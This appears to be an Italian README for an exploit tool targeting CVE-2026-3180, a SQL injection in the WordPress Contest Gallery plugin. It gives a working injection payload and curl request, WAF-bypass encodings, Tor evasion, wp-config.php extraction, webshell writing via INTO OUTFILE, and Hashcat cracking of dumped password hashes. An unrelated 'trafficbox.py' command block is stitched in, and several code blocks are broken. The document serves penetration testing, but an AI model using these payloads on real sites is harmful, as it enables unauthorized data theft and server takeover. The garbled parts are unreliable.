### Riferimenti

- [CVE-2026-3180](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3180)
- [Exploit-DB 52609](https://www.exploit-db.com/exploits/52609)
- [Articolo originale (cardosource)](https://dev.to/22l31on/wordpress-contest-gallery-plugin-vulnerability-2ff6)

---

## Funzionalità

### Sfruttamento Principale

| Capacità | Descrizione |
|---|---|
| Rilevamento vulnerabilità | Test boolean, basati sul tempo, su errori, UNION e stacked query |
| Estrazione blind | Estrazione di caratteri tramite ricerca binaria per inferenza booleana |
| Dump completo dei dati | Utenti, metadati del database, opzioni, plugin, temi, post, tabelle |
| Shell SQL interattiva | Esegui query `SELECT` arbitrarie sul backend |
| Estrazione di wp-config.php | Tentativi di `LOAD_FILE()` su percorsi comuni |
| Reverse shell | Scrittura webshell PHP tramite `INTO OUTFILE` / `DUMPFILE` (quando consentito) |

### Evasione e Prestazioni

| Capacità | Descrizione |
|---|---|
| Bypass WAF | 15+ tecniche di codifica e offuscamento |
| Multi-threading | Thread worker configurabili per un'estrazione più rapida |
| Limitazione della velocità | Ritardo configurabile tra le richieste |
| Logica di ripetizione | Ripetizioni automatiche su fallimenti transienti |
| Rotazione dello User-Agent | Impronte digitali del browser casuali per richiesta |
| Supporto proxy | Proxy HTTP/SOCKS e Tor (`socks5h://127.0.0.1:9050`) |

### Report e Integrazioni

| Capacità | Descrizione |
|---|---|
| Generazione di report | Report JSON e HTML con riepiloghi dell'estrazione |
| Integrazione SQLMap | Comando SQLMap generato automaticamente con tampers |
| Estensione Burp Suite | Generatore + file autonomo `burp_contest_gallery.py` |
| Template Nuclei | Template YAML per rilevamento di massa |
| Modulo Metasploit | Modulo ausiliario Ruby (`contest_gallery_sqli.rb`) |
| Automazione shell | Script Bash per flussi di lavoro basati su curl e SQLMap |

### Operativi

| Capacità | Descrizione |
|---|---|
| Output CLI colorato | Logging strutturato con livelli di gravità |
| Tracciamento progressi | Metriche in tempo reale (richieste, tempistiche, velocità di estrazione) |
| Modalità silenziosa/verbose | Adatto per scripting e debug |
| Gestione dei segnali | Pulizia graziosa su `Ctrl+C` |
| Pronto per Docker | Supporto per distribuzione containerizzata |
| Pronto per pipeline CI/CD | Codici di uscita e output JSON per automazione |

---

## Installazione

### Prerequisiti

- Python **3.8+**
- `pip`
- Raggiungibilità di rete ai target sotto test

### Strumenti Esterni Opzionali

| Strumento | Scopo |
|---|---|
| [SQLMap](https://github.com/sqlmapproject/sqlmap) | Iniezione SQL automatizzata |
| [Burp Suite](https://portswigger.net/burp) | Test manuale e hosting di estensioni |
| [Nuclei](https://github.com/projectdiscovery/nuclei) | Scansione basata su template |
| [Hashcat](https://hashcat.net/hashcat/) | Cracking offline di hash |
| [Tor](https://www.torproject.org/) | Routing anonimo (`--proxy tor`) |

### Configurazione```bash
git clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git
cd WP-Contest-Gallery-28.1.4-Exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 cve-2026-3180.py --help

**Consigliato (da requirements.txt):**```text
colorama>=0.4.6
tqdm>=4.65.0
pyyaml>=6.0
python-dateutil>=2.8.2
urllib3>=2.0.0

### Sfruttamento completo (rilevamento + estrazione)```bash
python3 cve-2026-3180.py http://target.example

### Shell SQL interattiva```bash
python3 cve-2026-3180.py http://target.example --sql-shell

### Attraverso il proxy Burp```bash
python3 cve-2026-3180.py http://target.example --proxy http://127.0.0.1:8080 -v

Esegue rilevamento basato su booleano, temporale e su errori senza estrazione completa.

### Estrazione completa dei dati```bash
python3 cve-2026-3180.py http://target.example --dump all

### Shell SQL interattiva```bash
python3 cve-2026-3180.py http://target.example --sql-shell

**Comandi shell:**

| Command | Description |
|---|---|
| `SELECT ...` | Esegui una query SQL e stampa il risultato |
| `show users` | Mostra gli utenti estratti in cache |
| `show tables` | Mostra la lista delle tabelle in cache |
| `show database` | Mostra i metadati del DB in cache |
| `show config` | Mostra wp-config.php se estratto |
| `show options` | Mostra le opzioni di WordPress |
| `show plugins` | Mostra i plugin attivi |
| `help` | Elenca i comandi disponibili |
| `exit` / `quit` | Esci dalla shell |

### Generazione del report```bash
# JSON report (default, saved to reports/)
python3 cve-2026-3180.py http://target.example --report json

# HTML report with custom filename
python3 cve-2026-3180.py http://target.example --report html -o reports/assessment.html

> Richiede il privilegio `FILE`, un webroot scrivibile e che `secure_file_priv` non blocchi il percorso di destinazione.

### Generazione del comando SQLMap```bash
python3 cve-2026-3180.py http://target.example --sqlmap

### Estensione di Burp Suite```bash
# Generate extension from exploit
python3 cve-2026-3180.py http://target.example --burp-extension

# Or load the standalone extension
# Burp → Extender → Extensions → Add → Python → burp_contest_gallery.py

### Automazione Bash (senza Python)```bash
chmod +x cve-2026-3180_automated.sh
./cve-2026-3180_automated.sh http://target.example

### Ottimizzazione delle prestazioni```bash
python3 cve-2026-3180.py http://target.example \
  --threads 20 \
  --timeout 15 \
  --delay 0.1 \
  --retries 5 \
  -v

### Algoritmo di Estrazione Booleana

1. Conferma la vulnerabilità tramite lunghezze di baseline true/false  
2. Ricerca binaria di `LENGTH()` del risultato della query target  
3. Ricerca binaria di `ASCII(SUBSTRING(...))` per posizione del carattere  
4. Assembla la stringa completa dai caratteri estratti  

---

## Bypass WAF

Tecniche di offuscamento integrate applicate casualmente o su richiesta:

| Tecnica | Descrizione |
|---|---|
| `comment_obfuscation` | Sostituisci spazi con `/**/`, `/*!*/`, `-- `, `#` |
| `case_variation` | Maiuscole/minuscole casuali nei caratteri alfabetici |
| `url_encoding` | Percent-encoding standard |
| `double_url_encoding` | Percent-encoding annidato |
| `hex_encoding` | Codifica esadecimale stile `%41` |
| `unicode_encoding` | Codifica unicode stile `%u0041` |
| `white_space_variation` | Tabulazioni, newline, avanzamenti pagina invece di spazi |
| `keyword_obfuscation` | Dividi parole chiave: `SEL/**/ECT`, `UNI/**/ION` |
| `concat_obfuscation` | Concatenazione `CHAR()` tramite `\|\|` |
| `char_obfuscation` | Addizione `CHAR()` tramite `+` |

Esempio di payload trasformato:

```sql
http://example.com/page?id=1%27%20UNION%20SELECT%201,2,3--%20
``````text
qualquer'OR/**/1=1#@teste.com
→ qualquer'%2F**%2FOR%2F**%2F1%3D1%23%40teste.com

### Cracking degli hash delle password (offline)

Dopo l'estrazione, cracca gli hash phpass di WordPress con Hashcat:```bash
# Save hashes to file
python3 cve-2026-3180.py http://target.example --dump users -o users.json

# Crack with Hashcat (mode 400 = phpass)
hashcat -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

### Burp Suite

1. Carica `burp_contest_gallery.py` in **Extender → Extensions → Add**  
2. Apri la scheda **CVE-2026-3180**  
3. Inserisci l'URL di destinazione e clicca su **Exploit**  
4. Lo scanner passivo controlla le richieste AJAX alla ricerca di indicatori di Contest Gallery  

### Nuclei```yaml
id: CVE-2026-3180
info:
  name: WordPress Contest Gallery SQL Injection
  severity: high
  classification:
    cve-id: CVE-2026-3180
    cvss-score: 7.5

requests:
  - method: POST
    path: /wp-admin/admin-ajax.php
    body: "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"

## Catena di attacco```mermaid
flowchart TD
    A["Unauthenticated POST to admin-ajax.php"] --> B["cgl_mail parameter unsanitized"]
    B --> C{"Injection type?"}
    C -->|Boolean| D["Response length inference"]
    C -->|Time| E["SLEEP delay inference"]
    C -->|Error| F["SQL error leakage"]
    D --> G["Binary-search extraction"]
    E --> G
    F --> G
    G --> H["WordPress data exfiltration"]
    H --> I["Users / hashes / options / config"]
    I --> J["Optional: OUTFILE webshell"]

### Struttura del Report JSON```json
{
  "metadata": {
    "cve": "CVE-2026-3180",
    "cvss_score": "7.5 (High)",
    "type": "boolean_based"
  },
  "target": {
    "url": "http://target.example",
    "ajax_url": "http://target.example/wp-admin/admin-ajax.php"
  },
  "vulnerability": {
    "vulnerable": true,
    "type": "boolean_based"
  },
  "extracted_data": {
    "database": { "name": "wordpress", "version": "8.0.35" },
    "users": [],
    "tables": [],
    "plugins": [],
    "options": {}
  },
  "summary": {
    "users_found": 3,
    "tables_found": 12,
    "plugins_found": 8,
    "config_extracted": false
  }
}

*   **Endpoint**

    *   Crea endpoint e connettilo alla VLAN:
    
        ```
        python3 trafficbox.py -t https://10.20.30.200 -k <api_key> -a ep_create -p 6 -v <2>
        ```
    
    *   Elenca endpoint:
    
        ```
        python3 trafficbox.py -t https://10.20.30.200 -k <api_key> -a ep_list
        ```
    
    *   Rimuovi endpoint:
    
        ```
        python3 trafficbox.py -t https://10.20.30.200 -k <api_key> -a ep_remove -p <id>
        ```

*   **Genera traffico**
    *   Ping host:
    
        ```
        python3 trafficbox.py -t https://10.20.30.200 -k <api_key> -a generate -p hostping -x <endpoint_id> -z <dst IP>
        ``````bash
# Build
docker build -t cve-2026-3180 .

# Scan
docker run --rm cve-2026-3180 http://target.example --scan

# Full exploit with report volume
docker run --rm -v $(pwd)/reports:/app/reports cve-2026-3180 \
  http://target.example --report json

  - uses: actions/setup-python@v5
    with:
      python-version: '3.11'

  - run: pip install -r requirements.txt

  - name: Vulnerability scan
    run: |
      python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
        --scan --quiet
    continue-on-error: true

  - name: Generate report
    run: |
      python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
        --report json -o reports/staging.json

  - uses: actions/upload-artifact@v4
    with:
      name: security-report
      path: reports/

---

## Risoluzione dei problemi

| Sintomo | Cosa provare |
|---|---|
| Target non vulnerabile | Conferma che Contest Gallery ≤ 28.1.4 sia installato e attivo |
| Nessuna differenza di lunghezza nella risposta | Prova `--scan` per fallback basato sul tempo; aumenta `--timeout` |
| Estrazione molto lenta | Aumenta `--threads`; riduci `--delay` con cautela |
| Errori di connessione | Alza `--timeout` e `--retries`; controlla le impostazioni del proxy |
| WAF blocca le richieste | Usa `--proxy tor`; lo strumento applica automaticamente tecniche di bypass |
| Proxy Tor fallisce | Verifica Tor su `127.0.0.1:9050`; installa `requests[socks]` se necessario |
| Dump utenti vuoto | Il prefisso delle tabelle potrebbe non essere `wp_`; usa `--sql-shell` con query personalizzate |
| wp-config non trovato | Prova `--sql-shell` con percorsi alternativi `LOAD_FILE()` |
| Reverse shell fallisce | Verifica il privilegio `FILE`, `secure_file_priv`, i permessi della webroot |

### Flusso di debug```bash
# Verbose scan
python3 cve-2026-3180.py http://target.example --scan -v

# Through Burp
python3 cve-2026-3180.py http://target.example \
  --proxy http://127.0.0.1:8080 -v --scan

# Manual curl verification
curl -s -X POST "http://target.example/wp-admin/admin-ajax.php" \
  -d "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=qualquer'OR/**/1=1#@teste.com&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
  -w "\nSize: %{size_download}\n"

---

## Cronologia delle versioni

### v2.0.0 — Edizione Definitiva (Gennaio 2026)

- Rilevamento di iniezioni booleane, temporali, errori, union e stack
- Pipeline completa di estrazione dati da WordPress
- 15+ tecniche di bypass WAF
- Shell SQL interattiva
- Generazione di report JSON / HTML
- Integrazioni con SQLMap, Burp e Nuclei
- Reverse shell tramite `INTO OUTFILE`
- Supporto proxy e Tor
- Multi-threading con logica di ripetizione
- Output colorato e logging strutturato

### v1.0 — Prima versione

- Rilevamento booleano di base
- Estrazione manuale degli utenti

---

## Disclaimer

Questo progetto è fornito **così com'è** per **ricerca sulla sicurezza difensiva** e **test di penetrazione autorizzati**.

Utilizzando questo software accetti che:

1. Prenderai di mira solo sistemi di tua proprietà o per i quali hai esplicitamente ricevuto autorizzazione al test.
2. Comprendi le leggi applicabili in materia di abuso informatico e protezione dei dati.
3. L'autore e i collaboratori **non sono responsabili** per danni, perdita di dati o conseguenze legali derivanti da un uso improprio.

Se scopri questa vulnerabilità in produzione, segui le pratiche di divulgazione responsabile e coordina con il fornitore del plugin / il team di sicurezza di WordPress dove appropriato.

---

## Autore e crediti

| Ruolo | Nome |
|---|---|
| **Autore dello strumento** | Sudeepa Wanigarathna |
| **Scoperta originale** | cardosource |
| **CVE** | CVE-2026-3180 |
| **Licenza** | MIT |

---

## Licenza

---```
MIT License

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.